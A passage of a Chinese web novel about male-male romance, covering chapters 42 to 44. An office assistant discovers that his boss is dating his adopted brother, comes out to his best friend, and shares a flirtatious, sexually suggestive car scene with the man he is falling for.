沈垣之看了他一眼,慢悠悠说道:“那个在挪威陪你看雪看月亮,从诗词歌赋谈到人生哲学的许行之啊。”
“你装什么傻。”
回过神来的席殃手指一顿,笑眼盈盈地看向沈垣之。
沈垣之说完这句话就后悔了,见席殃还笑,本来是开玩笑的这下真有点生气了。冷冷看了他一眼,准备起身时,席殃轻轻牵了下他的手。
“松开嗷。”看也不看他,沈垣之冷漠道:“不然揍你。”
“和以前一样爱吃醋。”
沈垣之闻言立马皱眉。
席殃连忙笑着揉了揉他的手指:“我和他只是同事,微信都没加,在挪威也是和一群同事一起,没单独相处过。”
沈垣之倒也不是真吃醋,就是有点不舒服,毕竟他没见过席殃的那几年,有人切切实实见过。
但席殃也何尝不是呢,还不是偷偷摸摸吃黎炫的醋,甚至连薄言的醋也吃,这样想着,沈垣之就不生气了,顺着席殃的力度坐了回去。
两人头碰头又凑在了一起。
等差不多要去工作时,沈垣之先去换了身西装,他对着镜子打领带,席殃就去洗杯子,沈垣之给小植物浇完水后,席殃已经提着电脑在门口等他。
默契得像是一起生活很久了。
车行驶在上班路上,沈垣之坐在副驾时,看着认真开车的席殃,在心里这样想着。
“今天我可能一天都不在公司。”
到了地下停车场,车刚熄火,驾驶座的某人就开口道。
沈垣之松开安全带“嗯”了声,开玩笑道:“怎么,席总,想让我陪你啊?”
见沈垣之要下车,席殃默不作声按了车锁。
握着车把手,沈垣之有些意外地挑挑眉。
“干什么?”
席殃不说话,目不转睛地盯着他的唇:“晚上留时间给我。”
席殃声音很低,地下车库环境幽深,特定的环境下,沈垣之觉得席殃就像是在他耳边低吟一样。
想到昨天被按着亲耳朵的情景,沈垣之滚了下喉结,挑了挑眉:“想约我?”
“嗯。”席殃眼眸很沉,偶尔浮现出的光线显得他俊美万分:“先吃饭,然后逛街。”
压着唇角,沈垣之点点头:“行。”
说完,他示意席殃将车门打开。
“准男朋友,”席殃哑着声音凑了过来:“一天不能见,能不能给点甜头?”
灼热的声音像带电似的钻进了耳尖,沈垣之盯着席殃近在咫尺的这张脸心脏后知后觉开始加速,呼吸有些不畅。
这是在公司停车场,周围车有很多他们被遮拦着,而且还停在黑暗里,没有人会注意到他们,但沈垣之还是犹豫了一下。
让人看见了怎么办。
席殃看出了他的犹豫,片刻后,很轻地笑了一下:“逗你的。”
沈垣之闻言抬了下眼,见席殃神色如常,心里渐渐平稳了下来:“晚上见?”
席殃恢复了两人间的正常距离,声音噙着笑:“晚上见。”
——
从电梯出来那刻,沈垣之很快恢复了淡定。
尽管前一秒他还在电梯里差点因为拒绝了席殃而有些尴尬,出了电梯镇定自若地和小助理们打了声招呼后,他很快进了办公室。
关上门的第一件事就是找席殃。
不久前席殃还说过,他很在意沈垣之之前不在人前和他说话,虽然这次是合乎情理的拒绝,但沈垣之有点心虚,他担心席殃多想。
【沈垣之:别多想。】
【沈垣之:我就是还没习惯。】
席殃应该在开车,等了一会儿才回复。
【席殃:没多想。】
【席殃:想到晚上和你见面,我高兴还来不及。】
沈垣之勾了下唇角,没再打扰他开车。
盯着屏幕走了一会神,他以前没想过出柜的事,他待的圈子很小,这些年也没什么机会表露性取向,连薄言都不知道,可以后和席殃在一起了,难道还要像以前读书那样吗。
沈垣之叹了一口气,觉得自己真的无可救药,明明还没和席殃在一起就开始考虑这些。
臭恋爱脑。
沈垣之骂了下自己,很快不再想这些。
今天他也很忙,上午要开月末的例行会议,下午要去挑选几位客户的公司周年礼物,还有一些零碎的事,忙得很。
给自己倒了杯不爱喝的咖啡,勉强提起精神后,沈垣之本想趁黎炫还没来,替他整理下办公室。
结果刚一进去,便和躺在老板椅上的黎炫对上了眼。
“黎总?”
黎炫显然没想到他会突然过来,连忙扯了扯没扣紧的衬衣,沈垣之眼尖,一眼看出他脖上的痕迹就是吻痕,不仅如此,休息室还传来了一阵脚步声。
把人带到公司了?!
玩这么花?
沈垣之在心里疯狂吐槽,连忙说了声抱歉,刚想退出去时休息室门就被人打开了。
“你疼不……”
沈垣之不敢回头。
因为这戛然而止的男声是那么熟悉。
“沈助理。”
沈垣之猛地眨了下眼,他一边安慰自己可能是想多了,世界上哪里有那么多gay,一边回过了头。
在看见明显刚刚才洗完澡的黎慎言,和面如菜色,明显做贼心虚的黎炫后,呼吸都停了。
“黎总。”
扫过怎么看都不清白的两人,沈垣之很快移开了视线。
“嗯。”黎慎言应了声:“到上班时间没?还没就去买份白粥回来。”
沈垣之还没回答就听见黎炫突然暴怒道:“你没长腿啊,使唤我助理干什么?”
“好好说话。”
“我说你妈!”
话刚落音,黎慎言很快皱了一下眉,黎炫瞬间哑声:“对不起。”
眼见不对劲,在黎炫投来求救的视线后,沈垣之不动声色地往门口退了一步:“老板,我去买粥。”
第42章 第 42 章 “我喜欢的男生回来了。……
这是沈垣之职业生涯最大的一次考验。
以前遇到的那些让沈垣之觉得职位不保的大事在今天撞破老板们的恋情下——
一切都变成了小事。
沈垣之提着一碗热腾腾的白粥站在“总经理办公室”门口比谁都凌乱。
他和黎炫认识的时间不短, 从大一到现在,算算也有好几个年头了,平时虽因为工作需要, 沈垣之对他的生活习性几乎了如指掌。
爱玩游戏,不能吃花生制品。不爱上班,但需要他支棱起来时又很认真, 时常给人一种不靠谱但又靠谱的形象。
至于在私人感情上,沈垣之还庆幸过自己没像其他助理那样三天两头处理这类问题,他以为是出身豪门的黎炫压力大,毕竟头顶上有个完美哥哥压着, 没心思想这些。
但他怎么也没想到, 竟是这种压法。
难怪黎炫大学时喝酒做什么都要给黎慎言报备,要问沈垣之怎么知道,他思考了一下,那次也像今天一样, 非常偶然。
当时是在打了好几次篮球比赛后,沈垣之和黎炫在同专业师兄弟基础上关系好了不少,因此两人喝酒时也是坐在一起的。
黎炫性格大方, 很会调节气氛, 在篮球社和人人都能称兄道弟, 因此喝起酒来毫不推辞, 沈垣之也被他带着喝了好几杯。
后来换场地, 刚在包间坐下来黎炫突然说想去抽根烟,好说歹说不让人跟着。
看他有点醉,沈垣之不放心,就远远地跟在他身后,只见黎炫一下楼就直奔街边停着的某辆车, 嘴里还惊恐地说着:“你来干嘛。”
驾驶座走下来个西装男,两人很快起了争执。
说着说着,西装男突然拔腿就走。
黎炫一愣立马追了上去,嘴里还说了好几声“你别生气啊,我忘记了。”西装男没理他,两人你追我赶,最后黎炫大喊了声“不敢了不敢了,哥,我真的不敢了。”
下一秒就被男人塞进了车里。
黎炫在群里发消息说家里有事不玩了先回去了,沈垣之信了,后来黎炫每次聚会一边喝酒一边还要回消息。
有人开玩笑是不是小女朋友查岗啊,黎炫命苦地摇摇头:“我哥。”
沈垣之这才知道黎炫有个哥哥,管他管得很严。以至于后来一起工作了,都快奔三的黎炫见他哥宛如耗子见猫,怕到连烟都不敢抽时,沈垣之也觉得习以为常。
世界上那么多对兄弟,管别人怎么相处。但沈垣之怎么也没想到,他俩竟是这种相处法。
先不说黎炫是gay,他和黎总不是……
“不是亲的!”
思索之际,一道熟男声突然传来,沈垣之猛地回过神,抬头去看,这才注意到黎炫不知何时开了门。
黎炫换了衣服,领子很高,明显红润的嘴唇张合了一下,隔着一扇门,两人面面相觑,场面一度沉迷。
沈垣之不知道该说什么。
心想着什么不是亲的,脖子上的痕迹不是亲的吗,可那实在太显眼了,他昨天刚亲过席殃,对这个很熟,老板你能不能换个借口。
又想命好苦,为什么撞破的是他,要不笑一下算了。
“进来坐坐?”
思索之际,黎炫提出邀约。
——
黎炫的办公室沈垣之来了不说有上千次,几百次肯定是绰绰有余,以前都是聊聊工作,也不少有紧张的时候,但只有这次连站不知道往哪站。
手里攥紧了装白粥的塑料袋,沈垣之眼观鼻鼻观心,哪里都不敢看,生怕又撞见黎慎言从休息室里走出来。
一想到这个场景,沈垣之后怕地闭了下眼。
“坐吧。”
沉默之际,黎炫开口道。
沈垣之闻声望去,两人对上视线后立马移开,他拉开椅子,乖乖地坐好了。
水声潺潺,衬得环境更加沉默,沈垣之目不转睛盯着茶杯,心想这个茶杯可真茶杯,余光瞥见黎炫手忙脚乱地抓了一大把茶叶。
一泡热水下去,茶壶颜色都黑了。
“……”
“算了,还是喝白开水吧。”
黎炫尴尬地笑了笑。
沈垣之一愣,也勾了一下唇。
气氛瞬间缓解了不少。
“刚刚你都看见了,就是那么一回事。”黎炫给他茶杯里倒了杯热水:“很惊讶吧。”
沈垣之接过茶杯,不知道该说什么,只好委婉地“嗯”了一声:“还好。”觉得自己不太真诚,他顿了一下,注意着措辞:“其实有点。”
黎炫闻言很快就“噗呲”笑了一下。
抬头去看,注意到他神色轻松了许多,受他影响,沈垣之也没之前那么拘谨。
“先说清楚,我和他不是亲的。”
“我哥是我爸妈收养的,”黎炫比划了一下,将手比到桌下:“大概在他这么小的时候。”
沈垣之愣了愣。
“我妈身体不太好,一直以为生不了孩子。”黎炫语气平静:“结果我哥来的第二年我妈就怀上了我。”
“那挺好的,有伴了。”
沈垣之下意识捧场。
话刚落音黎炫立马就笑了,回过神来的沈垣之愣了一下,也跟着笑了。
两人对视一眼,都没再做贼心虚地移开。
“好个鬼。”
黎炫叹了口气:“他脾气大得很,全家上下都怕他。”
“虽然他后来过继给了我大伯,但还是住在我们家,不仅如此还要住在主卧,每天还要监督我学习,什么都管着我,一直到大学我才勉强能喘口气。”
“从小到大,我不知道受了多少苦。”
沈垣之心想这真是黎总能做出来的事,颇为同情地看了他一眼:“所以你大学喝酒他也要管?”
黎炫闻言有些意外地抬了下头:“这你也知道?”
沈垣之点点头:“有一次撞见了。”
黎炫“哦”了一声,若有所思道:“是在大二那年吧,我好像看见你了。”
沈垣之“嗯”了一声。
“你要是当时把我拦下来就好了,”像是想到了什么,黎炫叹了口气:“事情就是从那晚开始不对劲了。”
八卦之魂熊熊燃烧,沈垣之看了过去。
“他说现在的gay有很多,大学里更多,一回去就给我看了好多G/V,专挑酒后的,问我还敢不敢喝酒。”黎炫绘声绘色道:“天地良心,我当时连gay都不知道是什么。”
话刚落音,沈垣之顿时坐立难安。
心想倒也不必说得这么详细。
意识到扯得太远,黎炫咳了一下,将话题扯了回来:“今天被你撞破后我心里轻松了不少。”
“早该有这么一天的。”
“你要是介意想离职,我可以给你补偿。”
沈垣之摇摇头:“我不介意。”
黎炫愣了一下:“啊?”
“我就是……有点意外。”沈垣之艰难地解释道:“和你认识这么多年我没看出你是gay,而且是和黎总。”
“那也不怪你,”黎炫愣了愣:“我也没gay多久。”
他准确地提了个数字:“就昨天,你从H市回来的那天。”
沈垣之若有所思道:“难怪你那天脸色不好。”
黎炫连忙接话:“是啊。”
“你接受的太快了吧。”彻底没了上下属的拘谨,以朋友的角度,沈垣之难掩震惊道:“就算你俩不是亲兄弟,那也得消化几天吧。”
黎炫又连忙地“是啊”,片刻后,他拧了一下眉:“不是我接受得快,是他真的有病。”
沈垣之一愣。
“他哮喘。”黎炫皱皱眉:“一边威胁我不同意和他在一起就要把我关起来,一边喘不上气没多久就晕了。”
沈垣之:“……”
“送他去医院的时候我仔细想了想,我大概也是喜欢他的,从小到大什么都愿意听他的,也习惯他管我,而且他去相亲我很不开心。”
“他亲我,我也不反感。”
“可能是他给我看了太多G……”
“好了好了,”意识到他想说什么,瞥到他脖间吻痕的沈垣之连忙摆摆手:“我大概也知道了。”
黎炫笑了一下:“你不介意的话,以后该怎么样就怎么样。”
“工作依旧是工作,”他语气一顿,开玩笑道:“而且我现在有了靠山,我们公司一时半会倒闭不了。”
沈垣之被他逗笑了:“我刚刚还以为你要让我签保密条约。”
黎炫闻言挑了下眉:“签这玩意儿干什么,我又没想瞒着谁。”
沈垣之惊诧地看了他一眼。
黎炫也看他:“这种事怎么瞒?”
“况且我俩又没有血缘关系,现在户口本都没在一起,正常恋爱需要瞒着谁?”
“可你们才在一起多久,”沈垣之有些混乱道:“就算你们不瞒着,要是某天磨合不了。”
“抱歉。”沈垣之语气一顿:“我不是那个意思……”
“我知道你想说什么。”
“感情的事谁说得准。”黎炫眯着眼睛笑了笑:“世界上哪有完全稳定的爱情,爱得再深都会闹掰,而且结婚了都能离婚,如果万事都要考虑周全,畏手畏脚的话,干脆就不要在一起了。”
“毕竟连自己都觉得不能见光的感情,哪里会长久?”
——
收到席殃发来的消息时,沈垣之正盯着电脑屏幕发呆,他的脑海里全是黎炫说的最后那句话。
在他的认知中,一段感情能不能公开完全取决于它够不够稳定,只有足够稳定他才有底气、有信心公开出来。
可以说他畏手畏脚,可以说他对待感情消极,甚至可以说他自私,但这都是沈垣之从小在经历父母从别人口中人人称赞的金童玉女,到最后撕破脸离婚后得出来的经验之谈。
凡是没把握的,沈垣之都不会做出任何承诺,所以在与人的交往中他显得不够真诚,因此自然地竖起了一道屏障。
他曾一度尝试多交朋友改变这一现状,可无一例外,别人对他的评价都从一开始的“他很好相处”到“他其实内心很冷漠”。
沈垣之尽力过,但没办法。
所以在反复尝试和挣扎了之后,在又一次听到“朋友”说出对他的评价后,沈垣之确定自己很难和谁维系一段关系。
沈垣之活了二十多年,能算得上朋友的屈指可数,说句得罪人的话,其实也就只有一个薄言。
朋友都这样,更别说更近一步的亲密关系了。
他今天早上会拒绝席殃的示好,是潜意识认为这段感情是不稳定的,也觉得担心自己很难维系——
这大概是他给自己逃避的理由。
因为就算他以后和席殃在一起,感情稳定到能结婚,沈垣之也不会想着公开。
直到他今天听到黎炫说的这席话。
原来不是因为感情不稳定而不公开,而是因为不公开,感情才不稳定。
目光瞥到席殃发来的消息,沈垣之慢慢回过神来。
【席殃:下班了吗,我估计得晚点回去,抱歉。】
【席殃:【图片】【图片】】
【席殃:还在应酬。】
图片里有很多人,大部分沈垣之都认识的。
没等他回复,席殃又很快发了消息过来。
【席殃:怎么不回我消息?】
【席殃:小圆。】
【席殃:别生我气。】
前后不过几分钟,沈垣之消息都还没看清,席殃就连忙发了好几条消息过来。
为什么这么担心他生气,别的准小情侣也这样吗?
没等他弄明白,席殃的电话就打了过来,沈垣之愣了一下,很快按了接通。
“喂。”
电话里传来有些喘的呼吸声,对面脚步有些凌乱,过了好久才停下来。
“吓死我了。”
像是找到一个安静的角落,席殃喃喃自语道。
沈垣之心口一紧,声音轻了很多:“怎么了?”
“你不回我消息,”空旷的地方有点回声,显得席殃声音很空:“吓死我了。”
沈垣之愣了一下。
“对不起。”席殃接着说:“你下班了吗,先去吃点东西?”
“我没想到会这么晚……”
“席殃,”沈垣之皱皱眉:“你都说了多少个对不起了?”
席殃松了一口气:“怕你生气嘛。”
沈垣之很快回过神来:“没生你气,”他轻轻勾了一下唇:“你什么时候应酬完,要不要我来接你?”
席殃顿了一下。
“嗯?”感受到他的沉默,沈垣之眯了下眼:“怎么?不乐意呀,是不是想让许助理……”
“乐意乐意,”席殃声音低低地:“求之不得。”
“少喝点。”沈垣之语气慵懒,尾音轻地像是带了小钩子:“等会还要陪我玩。”
席殃哼笑了声:“知道了。”
声音拖得很长。
挂了电话,沈垣之盯着逐渐熄灭的屏幕沉默了几秒,他若有所思地移开了视线,正常人准小情侣大概不会像席殃这样怕他生气。
归根结底,就是没安全感而已。
——
“哎!”
“暗蓝色”酒吧里人声鼎沸,嗨得快要将玻璃都震塌了。
出来躲个清净的薄言在看到沈垣之时猛地瞪大了双眼,他掐了烟,几乎连蹦带跳地朝他走来:“小圆!你怎么来了?”
围着沈垣之万分惊喜地转了一个圈,薄言难掩开心:“出差结束了?什么时候回来的?”
“昨天。”沈垣之斜着眼看他,好笑道:“你至于几百年没看见我的样子吗,明明半个月前才见过。”
“你丫的还好意思说,”薄言给了他一拳:“按照之前我俩见面的频率,下次见面应该是在一个月之后。”
沈垣之配合着“啊”了一声。
“进去坐坐?”
“不进了,”沈垣之摇摇头:“我过来拿车。”
话刚落音薄言脸立马垮了下来:“我就知道,”从口袋里摸出钥匙扔给他:“快滚吧。”
沈垣之并不生气,从口袋里掏出个什么东西来:“这个送你。”
“你之前不是想要吗,来的路上刚好遇到打折。”
薄言看了眼躺在手心里的袖扣,瞳孔渐渐放大,“你发了啊?”
这对袖扣要五位数,他一直没舍得买。
沈垣之无语:“对啊对啊。”
薄言噗呲一笑就笑出来了声,他眼眸噙着笑,很认真地说了声谢谢。
双目对视,沈垣之点了点头:“不客气。”
两人很快笑作一团。
“又没过节啥的,我还真没想到你会给我买礼物,”薄言叹了一口气:“不是说你小气的意思啊,就是觉得你可能不会做出这样的事来。”
“这么多年了,还挺惊讶的。”
“惊讶早了。”沈垣之不以为意地哼了声:“还有件惊讶的事要跟你说。”
薄言笑了笑:“什么事啊,说说看。”
“我要谈恋爱了。”沈垣之语气淡淡的:“和一个男生。”
“谈恋爱?”
“谈恋爱好啊,我也想谈了。”
“啊?”
薄言愣在了原地。
在薄言满脸“你说什么你再说一次”、“天啊我聋了吗?我幻听了吗?”的视线下,沈垣之漫不经心地勾了一下唇:“今年就不用你组织同学聚会了。”
晚来风急,被吹散的声音依旧坚定、清晰。
“我喜欢的男生回来了。”
第43章 第 43 章 “是不是真的想舔?”……
“真的假的?!”
车子行驶在高速路上, 城市的霓虹灯在雨后显得格外明亮,数不尽的高楼大厦,窗外车水马龙衬得这个城市喧嚣又繁华。
沈垣之盯着前方的路, 绿灯亮起,他单手打了下方向盘,有些无奈:“你这话都问我多少遍了?”
“哎, ”薄言在电话那头下意识叹了一声,随后又有些垂头丧气道:“我这不是难以置信吗……”
“真的真的真的。”沈垣之将声音拖得很长:“你这下能信了吗?”
“还是不敢相信。”薄言诚实道:“你说弯就弯啊,而且那什么,以前小学的时候女生给你写情书你不也收了?”
“你也知道是小学啊, ”沈垣之有些无奈:“我现在都二十多岁了。”
“我知道!”薄言突然提高了声音:“我不就想确认一下吗, 而且你忒不地道了吧,我这些年谈了几段恋爱你都一清二楚,结果你今天才告诉我这么大的事。”
电话那边传来打火机的声音,薄言像是抽了一口烟, 声音放低了些:“我就不能表达一下我的震惊吗?”
知道他是一时接受不了,沈垣之顺着他:“能能能,周六我给您老敬酒赔罪行吗?”
“喝到你满意为止。”
“去你的。”薄言很快笑骂了声, 品出他话里的意思, 他阴阳怪气地“啧”了一声:“不错嘛, 你周六要去学校啊, 参加周年庆?”
“我可记得不久前无论我怎么威逼利诱, 某些人都不愿意去,”他语气一顿,声音有些不大情愿:“那男的谁啊,这么大魅力?”
“那男的”被很含糊地一口带过。
脑海里浮现出席殃的模样,沈垣之眼眸很快噙上了笑意, 但说出来的语气淡淡的,十分假正经:“还好吧。”
“少装!”薄言不吃他这套,提高声音道:“要是只是还好你会喜欢?之前那谁谁追你,人家够好看了吧,你怎么不看她一眼?”
一点就燃,沈垣之有些无奈:“魅力很大行了吧,快迷死我了。”
“啧。”薄言声音放低了些:“所以是谁?”
沈垣之顿了一下。
见他沉默,薄言很快递了个台阶:“我也就问问,你不想说也没关系,反正……”
“席殃。”
薄言愣了一下:“你说谁?”
“席殃——”
沈垣之拉长了声音。
过了好久后,薄言“哦”了一声:“上次你喝醉了送你回去时见过他一面,确实还行吧。”
“就是看上去有点凶。”
薄言警惕道:“他不会家暴你吧。”
沈垣之笑出了声:“不会。”
薄言又“哦”了一声:“你俩最近才在一起?”像是想到了什么,他狐疑道:“那为什么几年前他会向我打听你的消息?”
沈垣之不动声色地挺直了背:“不知道啊,可能他高中就暗恋我吧。”
薄言有点不信,但找不到更好的原因,便只好轻拿轻放:“那你现在开车去哪?”
盘问结束,沈垣之松了一口气:“去接他。”
“这么晚了让你接?”薄言不满道:“他这什么人?”
“他喝酒了。”沈垣之维护道:“而且是我领导,接一下很正常吧。”
“哪正常了。”薄言“啧”了声:“你不都下班了?喝酒了就找代驾啊,”
“真不靠谱。”他嘟囔道。
“你知道你现在像什么样吗?”沈垣之哈哈乐了两下。
“嗯?”
“就像女生身边的闺蜜,尽搁儿那挑刺。”
“我这是替你把把关。”薄言不服气地辩解:“你没谈过恋爱,不知道人心险恶。”
知道薄言是为他好,沈垣之轻轻“嗯”了声,他看了眼出现在视线里的“何氏私厨”,声音放轻了些:“还有没有想问的,我快到了。”
薄言沉默了一下,声音突然有些忸怩:“你俩要一起回家吗,我记得他住你对门。”
沈垣之一愣,直觉有什么不对劲,但还是诚恳地“嗯”了声:“我就是来接他回家的,怎么了?”
“哦。”
电话里头突然沉默了几秒,沈垣之正想开口说话时,薄言的声音飘了过来:“你俩……”
“你是做女孩儿还是男孩儿的?”
沈垣之猛地踩了一脚刹车。
薄言估计也听到了,连忙开口道:“不管是做男做女,安全措施一点要做好。”
没想到薄言会和他说这个,沈垣之脸一红,几乎是恼羞成怒:“薄言你就收了神通吧,我二十多岁了!”
听他生气了,薄言突然乐滋滋地笑了:“我这不是担心吗,毕竟你是我从小看到大的白菜……”
“滚!”
“好咧。”
挂了电话,沈垣之脸红的不想抬头,他没想到薄言竟然会问这个,刚刚真是一时间没反应过来,不是觉得薄言过界了,就是……有点害羞。
想到这,沈垣之轻轻笑了一下。
以前和席殃待在一起的时候,他想干什么就干什么,把席殃的腿当椅子,哼哼唧唧的要亲亲,对他上下其手,压根就不觉得害羞。
现在是越活越回去了。
沈垣之勾着唇,叹了口气。他熄了火,将车停的有些远,倒不是不想让别人看见,都是公司里的一群人,他现在是席殃的助理,接他也是情理之中的事。
就是沈垣之自己心里有鬼。
而且薄言刚刚又说了那些话,他更不好意思了。轻轻吐了几口气,沈垣之点开了微信,席殃半个小时前发来了位置,附带一个撒娇的表情包【等你接我。】
路上开车用了二十分钟,席殃那边估计还有十分钟就结束,沈垣之想了一下,就没给他发消息。
将位置调到最舒适的角度,他靠在座椅上,点开了开心消消乐,他上次在席殃玩到了85关,今天要冲击95。
没过一会儿,沈垣之就已经完全沉浸于弱智游戏里,他玩得正起劲时,驾驶车窗突然被人敲了一下。
以为是这里不让停车,沈垣之连忙将车窗打了下来。
“不好意……”
话还没落音,沈垣之就看见了席殃那张放大的帅脸,他眼眸里噙着笑,比平时更深了些。
“嗯?”沈垣之惊讶地坐了起来:“你怎么知道我在这?”
席殃朝他笑了一下,和平时那种淡淡的笑不同,他像是喝多了一直盯着沈垣之,笑出来的声音很短促,尾音像带着钩子似的,很性感。
目光落在他湿润的嘴唇,沈垣之喉结滚了一下。
“什么时候结束的?”
很快移开视线,沈垣之坐直了身子往门口看:“他们都……”
一只手突然掐住了他的下巴,灼热的温度让毫无防备的沈垣之愣了一下,两根指腹从他的下巴轻轻划过,沿着两侧不容拒绝地一寸寸抚摸。
头皮瞬间发麻。
顺着手指的力度偏过头,沈垣之没来得及反应,席殃就低下头轻轻用唇碰了碰他的额头。
“你真的来接我了。”
低哑的声音藏着喜悦,沈垣之全身一下就软了下来,他拉开了一段距离,好整以暇地看向席殃,见他眼尾微红知道他大概是有点醉了。
“是啊。”沈垣之语气含笑,他拍了拍副驾:“过来。”
席殃抿着唇笑了一下。
越看越心动,沈垣之不自然地移开了视线,故意开玩笑道:“还知道怎么走路吗?”
话刚落音,席殃就走过去开了副驾驶门。
晚上仍有点凉意,门一开,微凉的晚风携着很淡的酒味扑面而来,沈垣之轻轻嗅了一下,惊讶道:“今天还喝了果酒?”
席殃“嗯”了声:“头疼。”
沈垣之闻言偏头看向他,席殃配合地将头凑了过来,他闭着眼,声音有些哑:“摸摸。”
“摸哪?”沈垣之忍着笑意将手伸了过去。
席殃眼眸一沉,屏着呼吸将脸贴在了他的手心里,亲密的肢体接触立即让温度升高了不少,尤其是在席殃用唇亲着沈垣之的指尖时。
一时间,谁都没有说话。
没有驱动的车内一片漆黑,窗外晚风渐起,车内温度却让人心生燥热,薄言不久前说的话不合时宜地出现在脑海里,沈垣之立马就起了反应。
不知道是谁先开始,等沈垣之反应过来时,席殃大半个身子已经越了过来压着他亲,席殃亲得很急,完全没收着力,沈垣之刚开始还能配合,后来就只能发出哼哼的声音。
稀薄的空气被掠夺,敏感的耳朵被轻揉着,沈垣之只听见唇齿交融的声音。
被亲到极其混乱的时候,沈垣之心想着这不对吧,不是说好要先吃饭再逛街一起回家吗,怎么突然亲起来了。
而且是在大街上。
像是惩罚他注意力不集中,席殃轻轻咬了他的嘴唇,沈垣之没来得及吃痛,下一秒就发出了一道极其暧昧又急促的声音。
席殃在亲他的脖子。
沈垣之感觉自己要烧起来了,他不想拒绝席殃,但不远处就能看见行人的身影,羞耻,矛盾,在席殃咬上他喉结时不受控地扬起了头。
“席殃……”混乱之际,沈垣之用手指轻轻拽了一下他的头发。
“我太开心了。”席殃百忙之中抽空解释道:“你这样惯着我,以后也想你天天来接我。”
沈垣之想说你要不要脸,但席殃已经开始咬他的衬衣扣子了,再不阻止明天他俩就要上热点新闻了。
“等,等一下!”喝了酒的席殃非常难缠,嘴像是长他身上一样,不仅如此还要夸:“皮肤好嫩,身上怎么这么香。”
沈垣之耳尖几乎红透了。
心想好你个席殃,平时温文尔雅果然都是装的,没等他躲,席殃突然凑上来亲了亲他的耳尖,声音很轻:“你发的短信里是不是真的。”
沈垣之愣了一秒,就这一秒,他的手就被席殃带着,隔着布料摸上了他的腹肌。
“你是不是真的想舔?”
第44章 第 44 章 “小流氓。”
腹肌的形状清晰可见, 隔着一层布料,手心里灼热的温度化成实体染上了耳尖,沈垣之的心跳随着渐重的呼吸而缓缓加快, 尤其是在对上席殃那双眼睛时。
双目对视,沈垣之的心几乎快蹦到了嗓子眼里,过于紧张, 他轻抿了一下唇,席殃的视线也很快落了过来。
他像是真的好奇,一双噙着醉意的眼眸罕见地露出几分求知欲,又像是怕沈垣之生气, 握着他手腕的手没用力, 只是虚虚的抓着,很克制地放在他腹肌上。
席殃大概只有三分醉。
双目对视时,沈垣之在心里给他下了结论。
因为席殃刚刚走路很稳,还能准确无误地找到他的车, 亲沈垣之的时候也是感受到他不排斥才慢慢加重,脖子也不疼,吻得很轻。
借着酒意占够了便宜, 现在又来卖乖。
一边卖乖一边还揭他老底。
谁惯的。
沈垣之本来是要生气的, 再不抵也要将手挣扎出来, 但真摸上了席殃的腹肌又对上他湿漉漉的眼睛, 沈垣之一下就生不起气来了。
好摸。
和自己薄薄的一层摸起来手感不太一样, 块块分明,很结实,尤其还隔着一层布料,朦胧,暧昧, 但手心里的温度又提醒沈垣之这是真的。
沈垣之看着席殃,眼眸里的紧张渐渐被沉默所取代,手指轻轻一挑就轻易解开了他的扣子,在席殃略带错愕的眼神里贴了上去。
呼吸一怔,席殃立马绷紧了腰。
握着沈垣之手腕的手因刺激而猛地攥紧,沈垣之皱眉看了他一眼,下一秒,席殃立马松开了手。
沈垣之低下头,轻轻抿了一下唇:“这么听话?”
车内很安静,沈垣之说这话时尾音轻飘飘的,席殃眼神瞬间就变了,他沙哑着声音“嗯”了一声。
稍带克制地用唇蹭了蹭沈垣之的头发,私下却重新握上了沈垣之的手腕,在一阵渐重的呼吸声中带着他的手一寸寸摸着。
沈垣之眼眸一沉,盯着两双相握的手,感受着指腹下的温度,他沉默着,时而轻轻触碰,偶尔用力压压。
席殃的呼吸声也随之一浅一重,暧昧得让人头皮发麻。
最后压根就不用席殃带着了,沈垣之到处乱摸,从他劲瘦的腰身划过胸肌,偶尔还捏了捏席殃的胳膊,惊讶道:“好大。”
沈垣之一边摸一边夸:“怎么练的?”
席殃缓了半天才勉强说出话来:“跑步,偶尔去健身房练。”他语气一顿,声音沙哑道:“你喜不喜欢?”
沈垣之看了他一眼,不说话了。
和席殃上一个问题一样,他全当着没听到,只是唇边挂着淡淡的笑,一副“你猜呀”的神情。
双目对视,席殃摇摇头很无奈地叹了口气,他腾出手将车窗打开了一点点,让冷风送了进来。
“不装醉了?”沈垣之轻轻捶了一下他的腹肌,在席殃发出闷哼声时,尾音轻轻上扬着:“你谁呀,敢占我便宜。”
席殃眼眸噙着笑,风将他的头发吹得有些凌乱,好端端的衬衣也被扯开了,扣子都崩开了好几颗,他靠在车上,动作随性,哪里还有一分醉意。
没有往日的温柔,席殃只是看了他一眼,语气淡淡的,不答反问:“你说我是谁?”
沈垣之心一动,盯着他不说话了。
双目对视,心照不宣的暧昧在车里渐渐升温,很快地,在沈垣之的视线下,席殃很快凑了过来,声音很低:“亲一个?”
沈垣之闭上了眼。
红肿的唇被轻轻亲了一下,点到为止,席殃用手捧了一下他的脸,低声问:“饿了吧?”
沈垣之点点头。
“那我陪你去吃饭,我也没吃饱。”席殃用指腹摩挲着他的侧脸,眼眸温柔,声音很轻:“想吃什么,西餐还是中餐?”
“你怎么这么能忍呢?”
不答反问,沈垣之眼睛亮亮地盯着他,声音被亲得有些哑:“都硬成这样了你不解决一下?”
“你在旁边解决,我开车。”沈垣之一本正经地说。
席殃眼眸一弯,笑着轻轻捏了捏他的脸。
“我说真的。”沈垣之满嘴跑火车:“我绝对不偷看。”
“不解决,”席殃又捏了他一下:“让它硬着。”
“你只要在这它就不会消停。”
“啧。”忍下唇边笑意,沈垣之轻哼了一声,像是想到了什么,他眼眸一亮:“席殃,你想不想吃小锅米线吗?”
很快跟上他的想法,席殃点点头:“想吃。”
“那我们去吧。”沈垣之启动了车:“你先休息一会儿,那家店离这里有些远。”
席殃整理了下被扯乱的衣服,将安全带扣上,听到这话轻轻笑了一下:“好。”
沈垣之闻言偏头看了他一眼,沉默之际,他突然凑过去,主动亲了一下。
席殃一愣,虽然不明白,但是也配合低下了头。
浅吻转瞬即逝。
等车开了一会儿,两人依旧保持着目视前方,不说话的状态,最后是席殃忍不住了,他噙着笑叹了口气:“再这样下去我真要在你车上解决了。”
沈垣之心一紧,故作镇定地“嗯”了声,腾出手将纸巾扔给他:“开始吧。”
席殃接过,轻轻笑出了声:“小流氓。”
沈垣之看了他一眼,语气轻轻的:“不给看呀,真小气,你就这么追人的?”
席殃勾了一下唇:“你要是想看我现在就脱。”
“不信。”
席殃作势要脱裤子。
沈垣之心口一紧,连忙阻止:“我开玩笑的!”
席殃闻言笑了一下,语气认真了些:“我说真的,如果这样能追到你,我一定愿意撸给你看。”
“哎,注意措辞啊。”沈垣之脸一红,声音有些发紧:“你不知道害羞吗?”
